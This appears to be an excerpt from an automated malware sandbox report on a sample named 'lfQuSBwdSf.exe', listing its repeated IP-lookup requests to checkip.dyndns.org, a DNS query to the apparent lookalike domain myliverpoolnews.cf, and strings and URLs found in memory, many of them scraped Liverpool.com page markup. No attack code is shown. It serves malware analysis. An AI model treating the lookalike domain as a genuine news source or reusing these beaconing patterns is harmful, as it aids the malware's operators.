Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.facebook.com (Facebook)
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.twitter.com (Twitter)
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: <header class="mod-header" data-mod="header" data-immediate><div class="primary publication-theme-highlight"><a data-link-tracking="Header\|MainLogo\|Image\|liverpool" id="logo" href="/">liverpool</a><a class="icon" id="hamburger" href="#">Load mobile navigation<span></span></a><nav class="primary"><section><ul data-level="1"><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Liverpool FC News" href="https://www.liverpool.com/liverpool-fc-news/">Liverpool FC News</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Latest News" href="https://www.liverpool.com/liverpool-fc-news/">Latest News</a></li><li><a data-link-tracking="Header\|DropDown\|Text\|Transfer News" href="https://www.liverpool.com/liverpool-fc-news/transfer-news/">Transfer News</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Schedule" href="https://www.liverpool.com/schedule/">Schedule</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Premier League" href="https://www.liverpool.com/all-about/premier-league">Premier League</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li><a data-link-tracking="Header\|SectionLabel\|Text\|Features" href="https://www.liverpool.com/liverpool-fc-news/features/">Features</a></li></ul></section></nav><profile-icon lr-custom-id="signin" lr-custom-class="header-profile-icon" lr-gtm-label="header" lr-show-account-link></profile-icon><div class="search"><button class="icon icon-search" id="search-icon" type="button" aria-label="Search"></button></div><div class="search-box hidden"><gcse:searchbox-only resultsUrl="https://www.liverpool.com/search/"></gcse:searchbox-only></div><div class="social-sites"><ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|top"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|top"></a></li></ul></div></div><nav class="secondary" data-smooth-scroll><section><ul class="click-track" data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/advertising/">Advertise with us</a></li></ul></section></nav><nav class="footer"><section><ul data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/r
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: <header class="mod-header" data-mod="header" data-immediate><div class="primary publication-theme-highlight"><a data-link-tracking="Header\|MainLogo\|Image\|liverpool" id="logo" href="/">liverpool</a><a class="icon" id="hamburger" href="#">Load mobile navigation<span></span></a><nav class="primary"><section><ul data-level="1"><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Liverpool FC News" href="https://www.liverpool.com/liverpool-fc-news/">Liverpool FC News</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Latest News" href="https://www.liverpool.com/liverpool-fc-news/">Latest News</a></li><li><a data-link-tracking="Header\|DropDown\|Text\|Transfer News" href="https://www.liverpool.com/liverpool-fc-news/transfer-news/">Transfer News</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Schedule" href="https://www.liverpool.com/schedule/">Schedule</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Premier League" href="https://www.liverpool.com/all-about/premier-league">Premier League</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li><a data-link-tracking="Header\|SectionLabel\|Text\|Features" href="https://www.liverpool.com/liverpool-fc-news/features/">Features</a></li></ul></section></nav><profile-icon lr-custom-id="signin" lr-custom-class="header-profile-icon" lr-gtm-label="header" lr-show-account-link></profile-icon><div class="search"><button class="icon icon-search" id="search-icon" type="button" aria-label="Search"></button></div><div class="search-box hidden"><gcse:searchbox-only resultsUrl="https://www.liverpool.com/search/"></gcse:searchbox-only></div><div class="social-sites"><ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|top"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|top"></a></li></ul></div></div><nav class="secondary" data-smooth-scroll><section><ul class="click-track" data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/advertising/">Advertise with us</a></li></ul></section></nav><nav class="footer"><section><ul data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/r
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: <meta property="og:site_name" content="Liverpool.com"><meta property="og:language" content="en"><meta property="og:type" content="article"><meta property="og:title" content="The Brewster Experience has underdelivered so far, but that will change"><meta property="og:url" content="https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763"><meta property="og:description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta property="og:image" content="https://i2-prod.liverpoolecho.co.uk/incoming/article17172788.ece/ALTERNATES/s1200/1_GettyImages-1178657262.jpg"><meta property="og:section" content="Features"><meta property="article:tag" content="Rhian Brewster"><meta property="article:author" content="https://www.facebook.com/kristianwalsh1987/"><meta property="article:published_time" content="2019-10-30T16:00:00Z"><meta property="article:modified_time" content="2019-10-30T15:36:53Z"><meta property="article:expiration_time" content="2019-11-29T15:36:53Z"><meta property="article:section" content="Features"><meta property="article:id" content="liverpool-17172763"> equals www.facebook.com (Facebook)
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: n, Gomez/Lovren, James Milner, Oxlade-Chamberlain, Naby Keita and Divock Origi. An impressive outing against Arsenal could nudge him ahead of Adam Lallana, or even Harvey Elliott, in the fight for that seventh spot.</p> <p>The world is still expected to be at Brewster's feet at Liverpool. It is just a matter of waiting for him to be passed it.</p><!-- Article End--></div><div id="social-follow" data-mod="socialFollow"><div id="social-methods"><div class="facebook-share"><span class="icon facebook large"></span><div class="fb-like" data-href="https://www.facebook.com/liverpooldotcom" data-layout="button_count" data-action="like" data-size="large" data-width="300" data-show-faces="false" data-share="false"></div><span class="page-name">liverpooldotcom</span></div><div class="twitter-share" data-follow-url="https://twitter.com/intent/follow?screen_name=liverpoolcom_"><span class="icon twitter large"></span><a>Follow @<span>liverpoolcom_</span></a></div></div></div><div class="tag-list"><span class="publication-theme-border publication-theme-icon">More On</span><ul><li><a class="publication-theme-button-highlight" href="https://www.liverpool.com/all-about/rhian-brewster" data-link-tracking="EndArticle\|Tag">Rhian Brewster</a></li></ul></div></div><aside class="related-column secondary"></aside></div></article> equals www.facebook.com (Facebook)
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: n, Gomez/Lovren, James Milner, Oxlade-Chamberlain, Naby Keita and Divock Origi. An impressive outing against Arsenal could nudge him ahead of Adam Lallana, or even Harvey Elliott, in the fight for that seventh spot.</p> <p>The world is still expected to be at Brewster's feet at Liverpool. It is just a matter of waiting for him to be passed it.</p><!-- Article End--></div><div id="social-follow" data-mod="socialFollow"><div id="social-methods"><div class="facebook-share"><span class="icon facebook large"></span><div class="fb-like" data-href="https://www.facebook.com/liverpooldotcom" data-layout="button_count" data-action="like" data-size="large" data-width="300" data-show-faces="false" data-share="false"></div><span class="page-name">liverpooldotcom</span></div><div class="twitter-share" data-follow-url="https://twitter.com/intent/follow?screen_name=liverpoolcom_"><span class="icon twitter large"></span><a>Follow @<span>liverpoolcom_</span></a></div></div></div><div class="tag-list"><span class="publication-theme-border publication-theme-icon">More On</span><ul><li><a class="publication-theme-button-highlight" href="https://www.liverpool.com/all-about/rhian-brewster" data-link-tracking="EndArticle\|Tag">Rhian Brewster</a></li></ul></div></div><aside class="related-column secondary"></aside></div></article> equals www.twitter.com (Twitter)

Source: unknown

DNS traffic detected: queries for: myliverpoolnews.cf

Source: lfQuSBwdSf.exe, 00000000.00000002.345756347.0000000003106000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: powershell.exe, 00000005.00000002.514285099.0000000002F19000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.d
Source: lfQuSBwdSf.exe, 00000000.00000002.345756347.0000000003106000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: lfQuSBwdSf.exe, 00000000.00000002.345756347.0000000003106000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp	String found in binary or memory: http://myliverpoolnews.cf
Source: lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp	String found in binary or memory: http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-
Source: powershell.exe, 00000005.00000002.536067747.00000000058E2000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.535279406.0000000005E25000.00000004.00000001.sdmp, powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lfQuSBwdSf.exe, 00000000.00000002.345756347.0000000003106000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/BreadcrumbList
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/ListItem
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/NewsArticle
Source: powershell.exe, 00000005.00000002.526440831.00000000049BB000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.522995118.0000000004881000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.520364713.0000000004DC1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.526440831.00000000049BB000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: lfQuSBwdSf.exe, 00000000.00000002.345756347.0000000003106000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/pwt/156997/3236/pwt.js
Source: svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://c.amazon-adsystem.com/aax2/apstag.js
Source: svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com/ampconfig.json"
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com/felix.min.js
Source: powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/ded/script.js
Source: lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article17156435.ece/ALTERNATES/s615/1_GettyImages-1183794835.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article17166876.ece/ALTERNATES/s615/0_GettyImages-1175998874.
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s220b/0_Salah-Pressing.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg
Source: lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg
